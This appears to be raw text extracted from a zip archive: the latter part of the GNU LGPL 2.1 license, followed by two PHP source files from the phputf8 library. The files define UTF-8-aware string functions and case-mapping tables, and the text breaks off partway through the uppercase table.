Library
creates an executable that is a derivative of the Library (because it
contains portions of the Library), rather than a "work that uses the
library". The executable is therefore covered by this License.
Section 6 states terms for distribution of such executables.
When a "work that uses the Library" uses material from a header
file
that is part of the Library, the object code for the work may be a
derivative work of the Library even though the source code is not.
Whether this is true is especially significant if the work can be
linked without the Library, or if the work is itself a library. The
threshold for this to be true is not precisely defined by law.
If such an object file uses only numerical parameters, data
structure layouts and accessors, and small macros and small inline
functions (ten lines or less in length), then the use of the object
file is unrestricted, regardless of whether it is legally a derivative
work. (Executables containing this object code plus portions of the
Library will still fall under Section 6.)
Otherwise, if the work is a derivative of the Library, you may
distribute the object code for the work under the terms of Section 6.
Any executables containing that work also fall under Section 6,
whether or not they are linked directly with the Library itself.
6. As an exception to the Sections above, you may also combine or
link a "work that uses the Library" with the Library to produce a
work containing portions of the Library, and distribute that work
under terms of your choice, provided that the terms permit
modification of the work for the customer's own use and reverse
engineering for debugging such modifications.
You must give prominent notice with each copy of the work that the
Library is used in it and that the Library and its use are covered by
this License. You must supply a copy of this License. If the work
during execution displays copyright notices, you must include the
copyright notice for the Library among them, as well as a reference
directing the user to the copy of this License. Also, you must do one
of these things:
a) Accompany the work with the complete corresponding
machine-readable source code for the Library including whatever
changes were used in the work (which must be distributed under
Sections 1 and 2 above); and, if the work is an executable linked
with the Library, with the complete machine-readable "work that
uses the Library", as object code and/or source code, so that the
user can modify the Library and then relink to produce a modified
executable containing the modified Library. (It is understood
that the user who changes the contents of definitions files in the
Library will not necessarily be able to recompile the application
to use the modified definitions.)
b) Use a suitable shared library mechanism for linking with the
Library. A suitable mechanism is one that (1) uses at run time a
copy of the library already present on the user's computer system,
rather than copying library functions into the executable, and (2)
will operate properly with a modified version of the library, if
the user installs one, as long as the modified version is
interface-compatible with the version that the work was made with.
c) Accompany the work with a written offer, valid for at
least three years, to give the same user the materials
specified in Subsection 6a, above, for a charge no more
than the cost of performing this distribution.
d) If distribution of the work is made by offering access to copy
from a designated place, offer equivalent access to copy the above
specified materials from the same place.
e) Verify that the user has already received a copy of these
materials or that you have already sent this user a copy.
For an executable, the required form of the "work that uses the
Library" must include any data and utility programs needed for
reproducing the executable from it. However, as a special exception,
the materials to be distributed need not include anything that is
normally distributed (in either source or binary form) with the major
components (compiler, kernel, and so on) of the operating system on
which the executable runs, unless that component itself accompanies
the executable.
It may happen that this requirement contradicts the license
restrictions of other proprietary libraries that do not normally
accompany the operating system. Such a contradiction means you cannot
use both them and the Library together in an executable that you
distribute.
7. You may place library facilities that are a work based on the
Library side-by-side in a single library together with other library
facilities not covered by this License, and distribute such a combined
library, provided that the separate distribution of the work based on
the Library and of the other library facilities is otherwise
permitted, and provided that you do these two things:
a) Accompany the combined library with a copy of the same work
based on the Library, uncombined with any other library
facilities. This must be distributed under the terms of the
Sections above.
b) Give prominent notice with the combined library of the fact
that part of it is a work based on the Library, and explaining
where to find the accompanying uncombined form of the same work.
8. You may not copy, modify, sublicense, link with, or distribute
the Library except as expressly provided under this License. Any
attempt otherwise to copy, modify, sublicense, link with, or
distribute the Library is void, and will automatically terminate your
rights under this License. However, parties who have received copies,
or rights, from you under this License will not have their licenses
terminated so long as such parties remain in full compliance.
9. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Library or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Library (or any work based on the
Library), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Library or works based on it.
10. Each time you redistribute the Library (or any work based on the
Library), the recipient automatically receives a license from the
original licensor to copy, distribute, link with or modify the Library
subject to these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties with
this License.
11. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Library at all. For example, if a patent
license would not permit royalty-free redistribution of the Library by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Library.
If any portion of this section is held invalid or unenforceable under any
particular circumstance, the balance of the section is intended to apply,
and the section as a whole is intended to apply in other circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
12. If the distribution and/or use of the Library is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Library under this License may add
an explicit geographical distribution limitation excluding those countries,
so that distribution is permitted only in or among countries not thus
excluded. In such case, this License incorporates the limitation as if
written in the body of this License.
13. The Free Software Foundation may publish revised and/or new
versions of the Lesser General Public License from time to time.
Such new versions will be similar in spirit to the present version,
but may differ in detail to address new problems or concerns.
Each version is given a distinguishing version number. If the Library
specifies a version number of this License which applies to it and
"any later version", you have the option of following the terms
and
conditions either of that version or of any later version published by
the Free Software Foundation. If the Library does not specify a
license version number, you may choose any version ever published by
the Free Software Foundation.
14. If you wish to incorporate parts of the Library into other free
programs whose distribution conditions are incompatible with these,
write to the author to ask for permission. For software which is
copyrighted by the Free Software Foundation, write to the Free
Software Foundation; we sometimes make exceptions for this. Our
decision will be guided by the two goals of preserving the free status
of all derivatives of our free software and of promoting the sharing
and reuse of software generally.
NO WARRANTY
15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Libraries
If you develop a new library, and you want it to be of the greatest
possible use to the public, we recommend making it free software that
everyone can redistribute and change. You can do so by permitting
redistribution under these terms (or, alternatively, under the terms of the
ordinary General Public License).
To apply these terms, attach the following notices to the library. It is
safest to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least the
"copyright" line and a pointer to where the full notice is found.
<one line to give the library's name and a brief idea of what
it does.>
Copyright (C) <year> <name of author>
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301
USA
Also add information on how to contact you by electronic and paper mail.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the library,
if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the
library `Frob' (a library for tweaking knobs) written by James
Random Hacker.
<signature of Ty Coon>, 1 April 1990
Ty Coon, President of Vice
That's all there is to it!
PKDž�[��(���$string/src/phputf8/mbstring/core.phpnu�[���<?php
/**
* @package utf8
*/
/**
* Define UTF8_CORE as required
*/
if ( !defined('UTF8_CORE') ) {
define('UTF8_CORE',TRUE);
}
//--------------------------------------------------------------------
/**
* Wrapper round mb_strlen
* Assumes you have mb_internal_encoding to UTF-8 already
* Note: this function does not count bad bytes in the string - these
* are simply ignored
* @param string UTF-8 string
* @return int number of UTF-8 characters in string
* @package utf8
*/
function utf8_strlen($str){
return mb_strlen($str);
}
//--------------------------------------------------------------------
/**
* Assumes mbstring internal encoding is set to UTF-8
* Wrapper around mb_strpos
* Find position of first occurrence of a string
* @param string haystack
* @param string needle (you should validate this with utf8_is_valid)
* @param integer offset in characters (from left)
* @return mixed integer position or FALSE on failure
* @package utf8
*/
function utf8_strpos($str, $search, $offset = FALSE){
if ( $offset === FALSE ) {
return mb_strpos($str, $search);
} else {
return mb_strpos($str, $search, $offset);
}
}
//--------------------------------------------------------------------
/**
* Assumes mbstring internal encoding is set to UTF-8
* Wrapper around mb_strrpos
* Find position of last occurrence of a char in a string
* @param string haystack
* @param string needle (you should validate this with utf8_is_valid)
* @param integer (optional) offset (from left)
* @return mixed integer position or FALSE on failure
* @package utf8
*/
function utf8_strrpos($str, $search, $offset = FALSE){
if ( $offset === FALSE ) {
# Emulate behaviour of strrpos rather than raising warning
if ( empty($str) ) {
return FALSE;
}
return mb_strrpos($str, $search);
} else {
if ( !is_int($offset) ) {
trigger_error('utf8_strrpos expects parameter 3 to be
long',E_USER_WARNING);
return FALSE;
}
$str = mb_substr($str, $offset);
if ( FALSE !== ( $pos = mb_strrpos($str, $search) ) ) {
return $pos + $offset;
}
return FALSE;
}
}
//--------------------------------------------------------------------
/**
* Assumes mbstring internal encoding is set to UTF-8
* Wrapper around mb_substr
* Return part of a string given character offset (and optionally length)
* @param string
* @param integer number of UTF-8 characters offset (from left)
* @param integer (optional) length in UTF-8 characters from offset
* @return mixed string or FALSE if failure
* @package utf8
*/
function utf8_substr($str, $offset, $length = FALSE){
if ( $length === FALSE ) {
return mb_substr($str, $offset);
} else {
return mb_substr($str, $offset, $length);
}
}
//--------------------------------------------------------------------
/**
* Assumes mbstring internal encoding is set to UTF-8
* Wrapper around mb_strtolower
* Make a string lowercase
* Note: The concept of a characters "case" only exists is some
alphabets
* such as Latin, Greek, Cyrillic, Armenian and archaic Georgian - it does
* not exist in the Chinese alphabet, for example. See Unicode Standard
* Annex #21: Case Mappings
* @param string
* @return mixed either string in lowercase or FALSE is UTF-8 invalid
* @package utf8
*/
function utf8_strtolower($str){
return mb_strtolower($str);
}
//--------------------------------------------------------------------
/**
* Assumes mbstring internal encoding is set to UTF-8
* Wrapper around mb_strtoupper
* Make a string uppercase
* Note: The concept of a characters "case" only exists is some
alphabets
* such as Latin, Greek, Cyrillic, Armenian and archaic Georgian - it does
* not exist in the Chinese alphabet, for example. See Unicode Standard
* Annex #21: Case Mappings
* @param string
* @return mixed either string in lowercase or FALSE is UTF-8 invalid
* @package utf8
*/
function utf8_strtoupper($str){
return mb_strtoupper($str);
}
PKDž�[�h�w�A�A"string/src/phputf8/native/core.phpnu�[���<?php
/**
* @package utf8
*/
/**
* Define UTF8_CORE as required
*/
if ( !defined('UTF8_CORE') ) {
define('UTF8_CORE',TRUE);
}
//--------------------------------------------------------------------
/**
* Unicode aware replacement for strlen(). Returns the number
* of characters in the string (not the number of bytes), replacing
* multibyte characters with a single byte equivalent
* utf8_decode() converts characters that are not in ISO-8859-1
* to '?', which, for the purpose of counting, is alright -
It's
* much faster than iconv_strlen
* Note: this function does not count bad UTF-8 bytes in the string
* - these are simply ignored
* @author <chernyshevsky at hotmail dot com>
* @link http://www.php.net/manual/en/function.strlen.php
* @link http://www.php.net/manual/en/function.utf8-decode.php
* @param string UTF-8 string
* @return int number of UTF-8 characters in string
* @package utf8
*/
function utf8_strlen($str){
return strlen(utf8_decode($str));
}
//--------------------------------------------------------------------
/**
* UTF-8 aware alternative to strpos
* Find position of first occurrence of a string
* Note: This will get alot slower if offset is used
* Note: requires utf8_strlen amd utf8_substr to be loaded
* @param string haystack
* @param string needle (you should validate this with utf8_is_valid)
* @param integer offset in characters (from left)
* @return mixed integer position or FALSE on failure
* @see http://www.php.net/strpos
* @see utf8_strlen
* @see utf8_substr
* @package utf8
*/
function utf8_strpos($str, $needle, $offset = NULL) {
if ( is_null($offset) ) {
$ar = explode($needle, $str, 2);
if ( count($ar) > 1 ) {
return utf8_strlen($ar[0]);
}
return FALSE;
} else {
if ( !is_int($offset) ) {
trigger_error('utf8_strpos: Offset must be an
integer',E_USER_ERROR);
return FALSE;
}
$str = utf8_substr($str, $offset);
if ( FALSE !== ( $pos = utf8_strpos($str, $needle) ) ) {
return $pos + $offset;
}
return FALSE;
}
}
//--------------------------------------------------------------------
/**
* UTF-8 aware alternative to strrpos
* Find position of last occurrence of a char in a string
* Note: This will get alot slower if offset is used
* Note: requires utf8_substr and utf8_strlen to be loaded
* @param string haystack
* @param string needle (you should validate this with utf8_is_valid)
* @param integer (optional) offset (from left)
* @return mixed integer position or FALSE on failure
* @see http://www.php.net/strrpos
* @see utf8_substr
* @see utf8_strlen
* @package utf8
*/
function utf8_strrpos($str, $needle, $offset = NULL) {
if ( is_null($offset) ) {
$ar = explode($needle, $str);
if ( count($ar) > 1 ) {
// Pop off the end of the string where the last match was made
array_pop($ar);
$str = join($needle,$ar);
return utf8_strlen($str);
}
return FALSE;
} else {
if ( !is_int($offset) ) {
trigger_error('utf8_strrpos expects parameter 3 to be
long',E_USER_WARNING);
return FALSE;
}
$str = utf8_substr($str, $offset);
if ( FALSE !== ( $pos = utf8_strrpos($str, $needle) ) ) {
return $pos + $offset;
}
return FALSE;
}
}
//--------------------------------------------------------------------
/**
* UTF-8 aware alternative to substr
* Return part of a string given character offset (and optionally length)
*
* Note arguments: comparied to substr - if offset or length are
* not integers, this version will not complain but rather massages them
* into an integer.
*
* Note on returned values: substr documentation states false can be
* returned in some cases (e.g. offset > string length)
* mb_substr never returns false, it will return an empty string instead.
* This adopts the mb_substr approach
*
* Note on implementation: PCRE only supports repetitions of less than
* 65536, in order to accept up to MAXINT values for offset and length,
* we'll repeat a group of 65535 characters when needed.
*
* Note on implementation: calculating the number of characters in the
* string is a relatively expensive operation, so we only carry it out when
* necessary. It isn't necessary for +ve offsets and no specified
length
*
* @author Chris Smith<chris@jalakai.co.uk>
* @param string
* @param integer number of UTF-8 characters offset (from left)
* @param integer (optional) length in UTF-8 characters from offset
* @return mixed string or FALSE if failure
* @package utf8
*/
function utf8_substr($str, $offset, $length = NULL) {
// generates E_NOTICE
// for PHP4 objects, but not PHP5 objects
$str = (string)$str;
$offset = (int)$offset;
if (!is_null($length)) $length = (int)$length;
// handle trivial cases
if ($length === 0) return '';
if ($offset < 0 && $length < 0 && $length <
$offset)
return '';
// normalise negative offsets (we could use a tail
// anchored pattern, but they are horribly slow!)
if ($offset < 0) {
// see notes
$strlen = strlen(utf8_decode($str));
$offset = $strlen + $offset;
if ($offset < 0) $offset = 0;
}
$Op = '';
$Lp = '';
// establish a pattern for offset, a
// non-captured group equal in length to offset
if ($offset > 0) {
$Ox = (int)($offset/65535);
$Oy = $offset%65535;
if ($Ox) {
$Op = '(?:.{65535}){'.$Ox.'}';
}
$Op = '^(?:'.$Op.'.{'.$Oy.'})';
} else {
// offset == 0; just anchor the pattern
$Op = '^';
}
// establish a pattern for length
if (is_null($length)) {
// the rest of the string
$Lp = '(.*)$';
} else {
if (!isset($strlen)) {
// see notes
$strlen = strlen(utf8_decode($str));
}
// another trivial case
if ($offset > $strlen) return '';
if ($length > 0) {
// reduce any length that would
// go passed the end of the string
$length = min($strlen-$offset, $length);
$Lx = (int)( $length / 65535 );
$Ly = $length % 65535;
// negative length requires a captured group
// of length characters
if ($Lx) $Lp = '(?:.{65535}){'.$Lx.'}';
$Lp = '('.$Lp.'.{'.$Ly.'})';
} else if ($length < 0) {
if ( $length < ($offset - $strlen) ) {
return '';
}
$Lx = (int)((-$length)/65535);
$Ly = (-$length)%65535;
// negative length requires ... capture everything
// except a group of -length characters
// anchored at the tail-end of the string
if ($Lx) $Lp = '(?:.{65535}){'.$Lx.'}';
$Lp =
'(.*)(?:'.$Lp.'.{'.$Ly.'})$';
}
}
if (!preg_match( '#'.$Op.$Lp.'#us',$str, $match ))
{
return '';
}
return $match[1];
}
//---------------------------------------------------------------
/**
* UTF-8 aware alternative to strtolower
* Make a string lowercase
* Note: The concept of a characters "case" only exists is some
alphabets
* such as Latin, Greek, Cyrillic, Armenian and archaic Georgian - it does
* not exist in the Chinese alphabet, for example. See Unicode Standard
* Annex #21: Case Mappings
* Note: requires utf8_to_unicode and utf8_from_unicode
* @author Andreas Gohr <andi@splitbrain.org>
* @param string
* @return mixed either string in lowercase or FALSE is UTF-8 invalid
* @see http://www.php.net/strtolower
* @see utf8_to_unicode
* @see utf8_from_unicode
* @see http://www.unicode.org/reports/tr21/tr21-5.html
* @see http://dev.splitbrain.org/view/darcs/dokuwiki/inc/utf8.php
* @package utf8
*/
function utf8_strtolower($string){
static $UTF8_UPPER_TO_LOWER = NULL;
if ( is_null($UTF8_UPPER_TO_LOWER) ) {
$UTF8_UPPER_TO_LOWER = array(
0x0041=>0x0061, 0x03A6=>0x03C6, 0x0162=>0x0163,
0x00C5=>0x00E5, 0x0042=>0x0062,
0x0139=>0x013A, 0x00C1=>0x00E1, 0x0141=>0x0142,
0x038E=>0x03CD, 0x0100=>0x0101,
0x0490=>0x0491, 0x0394=>0x03B4, 0x015A=>0x015B,
0x0044=>0x0064, 0x0393=>0x03B3,
0x00D4=>0x00F4, 0x042A=>0x044A, 0x0419=>0x0439,
0x0112=>0x0113, 0x041C=>0x043C,
0x015E=>0x015F, 0x0143=>0x0144, 0x00CE=>0x00EE,
0x040E=>0x045E, 0x042F=>0x044F,
0x039A=>0x03BA, 0x0154=>0x0155, 0x0049=>0x0069,
0x0053=>0x0073, 0x1E1E=>0x1E1F,
0x0134=>0x0135, 0x0427=>0x0447, 0x03A0=>0x03C0,
0x0418=>0x0438, 0x00D3=>0x00F3,
0x0420=>0x0440, 0x0404=>0x0454, 0x0415=>0x0435,
0x0429=>0x0449, 0x014A=>0x014B,
0x0411=>0x0431, 0x0409=>0x0459, 0x1E02=>0x1E03,
0x00D6=>0x00F6, 0x00D9=>0x00F9,
0x004E=>0x006E, 0x0401=>0x0451, 0x03A4=>0x03C4,
0x0423=>0x0443, 0x015C=>0x015D,
0x0403=>0x0453, 0x03A8=>0x03C8, 0x0158=>0x0159,
0x0047=>0x0067, 0x00C4=>0x00E4,
0x0386=>0x03AC, 0x0389=>0x03AE, 0x0166=>0x0167,
0x039E=>0x03BE, 0x0164=>0x0165,
0x0116=>0x0117, 0x0108=>0x0109, 0x0056=>0x0076,
0x00DE=>0x00FE, 0x0156=>0x0157,
0x00DA=>0x00FA, 0x1E60=>0x1E61, 0x1E82=>0x1E83,
0x00C2=>0x00E2, 0x0118=>0x0119,
0x0145=>0x0146, 0x0050=>0x0070, 0x0150=>0x0151,
0x042E=>0x044E, 0x0128=>0x0129,
0x03A7=>0x03C7, 0x013D=>0x013E, 0x0422=>0x0442,
0x005A=>0x007A, 0x0428=>0x0448,
0x03A1=>0x03C1, 0x1E80=>0x1E81, 0x016C=>0x016D,
0x00D5=>0x00F5, 0x0055=>0x0075,
0x0176=>0x0177, 0x00DC=>0x00FC, 0x1E56=>0x1E57,
0x03A3=>0x03C3, 0x041A=>0x043A,
0x004D=>0x006D, 0x016A=>0x016B, 0x0170=>0x0171,
0x0424=>0x0444, 0x00CC=>0x00EC,
0x0168=>0x0169, 0x039F=>0x03BF, 0x004B=>0x006B,
0x00D2=>0x00F2, 0x00C0=>0x00E0,
0x0414=>0x0434, 0x03A9=>0x03C9, 0x1E6A=>0x1E6B,
0x00C3=>0x00E3, 0x042D=>0x044D,
0x0416=>0x0436, 0x01A0=>0x01A1, 0x010C=>0x010D,
0x011C=>0x011D, 0x00D0=>0x00F0,
0x013B=>0x013C, 0x040F=>0x045F, 0x040A=>0x045A,
0x00C8=>0x00E8, 0x03A5=>0x03C5,
0x0046=>0x0066, 0x00DD=>0x00FD, 0x0043=>0x0063,
0x021A=>0x021B, 0x00CA=>0x00EA,
0x0399=>0x03B9, 0x0179=>0x017A, 0x00CF=>0x00EF,
0x01AF=>0x01B0, 0x0045=>0x0065,
0x039B=>0x03BB, 0x0398=>0x03B8, 0x039C=>0x03BC,
0x040C=>0x045C, 0x041F=>0x043F,
0x042C=>0x044C, 0x00DE=>0x00FE, 0x00D0=>0x00F0,
0x1EF2=>0x1EF3, 0x0048=>0x0068,
0x00CB=>0x00EB, 0x0110=>0x0111, 0x0413=>0x0433,
0x012E=>0x012F, 0x00C6=>0x00E6,
0x0058=>0x0078, 0x0160=>0x0161, 0x016E=>0x016F,
0x0391=>0x03B1, 0x0407=>0x0457,
0x0172=>0x0173, 0x0178=>0x00FF, 0x004F=>0x006F,
0x041B=>0x043B, 0x0395=>0x03B5,
0x0425=>0x0445, 0x0120=>0x0121, 0x017D=>0x017E,
0x017B=>0x017C, 0x0396=>0x03B6,
0x0392=>0x03B2, 0x0388=>0x03AD, 0x1E84=>0x1E85,
0x0174=>0x0175, 0x0051=>0x0071,
0x0417=>0x0437, 0x1E0A=>0x1E0B, 0x0147=>0x0148,
0x0104=>0x0105, 0x0408=>0x0458,
0x014C=>0x014D, 0x00CD=>0x00ED, 0x0059=>0x0079,
0x010A=>0x010B, 0x038F=>0x03CE,
0x0052=>0x0072, 0x0410=>0x0430, 0x0405=>0x0455,
0x0402=>0x0452, 0x0126=>0x0127,
0x0136=>0x0137, 0x012A=>0x012B, 0x038A=>0x03AF,
0x042B=>0x044B, 0x004C=>0x006C,
0x0397=>0x03B7, 0x0124=>0x0125, 0x0218=>0x0219,
0x00DB=>0x00FB, 0x011E=>0x011F,
0x041E=>0x043E, 0x1E40=>0x1E41, 0x039D=>0x03BD,
0x0106=>0x0107, 0x03AB=>0x03CB,
0x0426=>0x0446, 0x00DE=>0x00FE, 0x00C7=>0x00E7,
0x03AA=>0x03CA, 0x0421=>0x0441,
0x0412=>0x0432, 0x010E=>0x010F, 0x00D8=>0x00F8,
0x0057=>0x0077, 0x011A=>0x011B,
0x0054=>0x0074, 0x004A=>0x006A, 0x040B=>0x045B,
0x0406=>0x0456, 0x0102=>0x0103,
0x039B=>0x03BB, 0x00D1=>0x00F1, 0x041D=>0x043D,
0x038C=>0x03CC, 0x00C9=>0x00E9,
0x00D0=>0x00F0, 0x0407=>0x0457, 0x0122=>0x0123,
);
}
$uni = utf8_to_unicode($string);
if ( !$uni ) {
return FALSE;
}
$cnt = count($uni);
for ($i=0; $i < $cnt; $i++){
if ( isset($UTF8_UPPER_TO_LOWER[$uni[$i]]) ) {
$uni[$i] = $UTF8_UPPER_TO_LOWER[$uni[$i]];
}
}
return utf8_from_unicode($uni);
}
//---------------------------------------------------------------
/**
* UTF-8 aware alternative to strtoupper
* Make a string uppercase
* Note: The concept of a characters "case" only exists is some
alphabets
* such as Latin, Greek, Cyrillic, Armenian and archaic Georgian - it does
* not exist in the Chinese alphabet, for example. See Unicode Standard
* Annex #21: Case Mappings
* Note: requires utf8_to_unicode and utf8_from_unicode
* @author Andreas Gohr <andi@splitbrain.org>
* @param string
* @return mixed either string in lowercase or FALSE is UTF-8 invalid
* @see http://www.php.net/strtoupper
* @see utf8_to_unicode
* @see utf8_from_unicode
* @see http://www.unicode.org/reports/tr21/tr21-5.html
* @see http://dev.splitbrain.org/view/darcs/dokuwiki/inc/utf8.php
* @package utf8
*/
function utf8_strtoupper($string){
static $UTF8_LOWER_TO_UPPER = NULL;
if ( is_null($UTF8_LOWER_TO_UPPER) ) {
$UTF8_LOWER_TO_UPPER = array(
0x0061=>0x0041, 0x03C6=>0x03A6, 0x0163=>0x0162,
0x00E5=>0x00C5, 0x0062=>0x0042,
0x013A=>0x0139, 0x00E1=>0x00C1, 0x0142=>0x0141,
0x03CD=>0x038E, 0x0101=>0x0100,
0x0491=>0x0490, 0x03B4=>0x0394, 0x015B=>0x015A,
0x0064=>0x0044, 0x03B3=>0x0393,
0x00F4=>0x00D4, 0x044A=>0x042A, 0x0439=>0x0419,
0x0113=>0x0112, 0x043C=>0x041C,
0x015F=>0x015E, 0x0144=>0x0143, 0x00EE=>0x00CE,
0x045E=>0x040E, 0x044F=>0x042F,
0x03BA=>0x039A, 0x0155=>0x0154, 0x0069=>0x0049,
0x0073=>0x0053, 0x1E1F=>0x1E1E,
0x0135=>0x0134, 0x0447=>0x0427, 0x03C0=>0x03A0,
0x0438=>0x0418, 0x00F3=>0x00D3,
0x0440=>0x0420, 0x0454=>0x0404, 0x0435=>0x0415,
0x0449=>0x0429, 0x014B=>0x014A,
0x0431=>0x0411, 0x0459=>0x0409, 0x1E03=>0x1E02,
0x00F6=>0x00D6, 0x00F9=>0x00D9,
0x006E=>0x004E, 0x0451=>0x0401, 0x03C4=>0x03A4,
0x0443=>0x0423, 0x015D=>0x015C,
0x0453=>0x0403, 0x03C8=>0x03A8, 0x0159=>0x0158,
0x0067=>0x0047, 0x00E4=>0x00C4,
0x03AC=>0x0386, 0x03AE=>0x0389, 0x0167=>0x0166,
0x03BE=>0x039E, 0x0165=>0x0164,
0x0117=>0x0116, 0x0109=>0x0108, 0x0076=>0x0056,
0x00FE=>0x00DE, 0x0157=>0x0156,
0x00FA=>0x00DA, 0x1E61=>0x1E60, 0x1E83=>0x1E82,
0x00E2=>0x00C2, 0x0119=>0x0118,
0x0146=>0x0145, 0x0070=>0x0050, 0x0151=>0x0150,
0x044E=>0x042E, 0x0129=>0x0128,
0x03C7=>0x03A7, 0x013E=>0x013D, 0x0442=>0x0422,
0x007A=>0x005A, 0x0448=>0x0428,
0x03C1=>0x03A1, 0x1E81=>0x1E80, 0x016D=>0x016C,
0x00F5=>0x00D5, 0x0075=>0x0055,
0x0177=>0x0176, 0x00FC=>0x00DC, 0x1E57=>0x1E56,
0x03C3=>0x03A3, 0x043A=>0x041A,
0x006D=>0x004D, 0x016B=>0x016A, 0x0171=>0x0170,
0x0444=>0x0424, 0x00EC=>0x00CC,
0x0169=>0x0168, 0x03BF=>0x039F, 0x006B=>0x004B,
0x00F2=>0x00D2, 0x00E0=>0x00C0,
0x0434=>0x0414, 0x03C9=>0x03A9, 0x1E6B=>0x1E6A,
0x00E3=>0x00C3, 0x044D=>0x042D,
0x0436=>0x0416, 0x01A1=>0x01A0, 0x010D=>0x010C,
0x011D=>0x011C, 0x00F0=>0x00D0,
0x013C=>0x013B, 0x045F=>0x040F, 0x045A=>0x040A,
0x00E8=>0x00C8, 0x03C5=>0x03A5,
0x0066=>0x0046, 0x00FD=>0x00DD, 0x0063=>0x0043,
0x021B=>0x021A, 0x00EA=>0x00CA,
0x03B9=>0x0399, 0x017A=>0x0179, 0x00EF=>0x00CF,
0x01B0=>0x01AF, 0x0065=>0x0045,
0x03BB=>0x039B, 0x03B8=>0x0398, 0x03BC=>0x039C,
0x045C=>0x040C, 0x043F=>0x041F,
0x044C=>0x042C, 0x00FE=>0x00DE, 0x00F0=>0x00D0,
0x1EF3=>0x1EF2, 0x0068=>0x0048,
0x00EB=>0x00CB, 0x0111=>0x0110, 0x0433=>0x0413,
0x012F=>0x012E, 0x00E6=>0x00C6,
0x0078=>0x0058, 0x0161=>0x0160, 0x016F=>0x016E,
0x03B1=>0x0391, 0x0457=>0x0407,
0x0173=>0x0172, 0x00FF=>0x0178, 0x006F=>0x004F,
0x043B=>0x041B, 0x03B5=>0x0395,
0x0445=>0x0425, 0x0121=>0x0120, 0x017E=>0x017D,
0x017C=>0x017B, 0x03B6=>0x0396,
0x03B2=>0x0392, 0x03AD=>0x0388, 0x1E85=>0x1E84,
0x0175=>0x0174, 0x0071=>0x0051,
0x0437=>0x0417, 0x1E0B=>0x1E0A, 0x0148=>0x0147,
0x0105=>0x0104, 0x0458=>0x0408,
0x014D=>0x014C, 0x00ED=>0x00CD, 0x0079=>0x0059,
0x010B=>0x010A, 0x03CE=>0x038F,
0x0072=>0x0052, 0x0430=>0x0410, 0x0455=>0x0405,
0x0452=>0x0402, 0x0127=>0x0126,
0x0137=>0x0136, 0x012B=>0x012A, 0x03AF=>0x038A,
0x044B=>0x042B, 0x006C=>0x004C,
0x03B7=>0x0397, 0x0125=>0x0124, 0x0219=>0x0218,
0x00FB=>0x00DB, 0x011F=>0x011E,
0x043E=>0x041E, 0x1E41=>0x1E40, 0x03BD=>0x039D,
0x0107=>0x0106, 0x03CB=>0x03AB,
0x0446=>0x0426, 0x00FE=>0x00DE, 0x00E7=>0x00C7,
0x03CA=>0x03AA, 0x0441=>0x0421,
0x0432=>0x0412, 0x010F=>0x010E, 0x00F8=>0x00D8,
0x0077=>0x0057, 0x011B=>0x011A,
0x0074=>0x0054, 0x006A=>0x004A, 0x045B=>0x040B,
0x0456=>0x0406, 0x0103=>0x0102,
0x03BB=>0x039B, 0x00F1=>0x00D1, 0x043D=>0x041D,
